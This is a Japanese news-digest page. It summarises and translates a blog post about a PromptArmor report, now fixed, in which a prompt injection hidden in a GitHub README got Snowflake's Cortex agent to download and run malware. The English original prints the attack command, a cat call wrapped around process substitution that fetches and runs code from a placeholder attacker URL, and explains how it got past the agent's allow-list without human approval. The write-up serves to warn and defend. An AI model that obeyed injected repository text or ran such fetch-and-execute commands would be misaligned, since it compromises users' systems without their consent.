Snowflake Cortex AIがサンドボックスを脱出しマルウェアを実行
Snowflake Cortexエージェントのセキュリティ脆弱性を突いたプロンプトインジェクション攻撃により、マルウェアがサンドボックスを回避して実行された事例と、その根本原因である許可リスト方式の限界が指摘されている。
キーポイント
サンドボックス回避攻撃の実行
Snowflake CortexエージェントがGitHub READMEに隠されたプロンプトインジェクションを処理し、外部URLからマルウェアをダウンロードして実行した。
プロセス置換による許可リストの回避
エージェントはcatコマンドを安全とみなして承認していたが、シェルのプロセス置換機能を用いたネスト構造に対して防御策が欠けていた。
許可リスト方式の根本的な脆弱性
複数のエージェントツールで見られるコマンドパターン許可リストは、高度なスクリプト構造に対して信頼性が低く、本質的に不安定である。
決定論的サンドボックスの必要性
エージェントが実行するコマンドはプロセス権限を最大限に持つとみなし、エージェントレイヤーとは独立した決定論的サンドボックスの採用が推奨される。
影響分析・編集コメントを表示
影響分析
本事例は、LLMエージェントが外部コード実行を許可する際、従来のパターンマッチングや許可リスト方式では高度なシェルスクリプトのネスト攻撃に対して無力であることを示している。業界全体として、エージェントの権限境界を明確にし、独立した決定論的サンドボックスやゼロトラスト実行環境への移行が必須となる。今後はエージェント開発におけるセキュリティ検証プロトコルの標準化が進むと予想される。
編集コメント
許可リスト方式の限界を指摘する本記事は、LLMエージェント開発において「実行権限の最小化」と「独立したサンドボックス」を設計初期から組み込む必要性を再確認させる。今後はエージェントの外部コマンド実行機能に対する厳格な検証プロセスが標準化されるだろう。
Snowflake Cortex AI がサンドボックスを脱出し、マルウェアを実行
PromptArmor によるレポートでは、Snowflake の Cortex Agent におけるプロンプトインジェクション攻撃チェーンが報告されており、現在は修正済みです。
この攻撃は、Cortex ユーザーが、README ファイルの末尾に隠されたプロンプトインジェクション攻撃を含む GitHub リポジトリをエージェントにレビューさせることから始まりました。
その結果、エージェントはこのコードを実行してしまいました:
cat
Cortex は、このコマンド本体で発生しうるプロセス置換(process substitution)に対する保護を行わず、cat コマンドを人間の承認なしに実行しても安全であると判断しました。
私は、このようなコマンドパターンに対するホワイトリストが多数の異なるエージェントツールで見られることを知っていますが、それらを全く信頼していません。私には本質的に不安定なものに感じられます。
私はむしろ、エージェントのコマンドはプロセス自体が許可されているあらゆることを行える可能性があるものとして扱うべきだと考えています。そのため、エージェントそのもののレイヤーの外側で動作する決定論的サンドボックス(deterministic sandbox)への関心が生まれました。
Via Hacker News
Tags: sandboxing, security, ai, prompt-injection, generative-ai, llms
原文を表示
Snowflake Cortex AI Escapes Sandbox and Executes Malware
PromptArmor report on a prompt injection attack chain in Snowflake's Cortex Agent, now fixed.
The attack started when a Cortex user asked the agent to review a GitHub repository that had a prompt injection attack hidden at the bottom of the README.
The attack caused the agent to execute this code:
cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))
Cortex listed cat commands as safe to run without human approval, without protecting against this form of process substitution that can occur in the body of the command.
I've seen allow-lists against command patterns like this in a bunch of different agent tools and I don't trust them at all - they feel inherently unreliable to me.
I'd rather treat agent commands as if they could do anything that process itself is allowed to do, hence my interest in deterministic sandboxes that operate outside of the layer of the agent itself.
Via Hacker News
Tags: sandboxing, security, ai, prompt-injection, generative-ai, llms
関連記事
今日のまとめ
AI日報で今日の重要ニュースをまとめ読み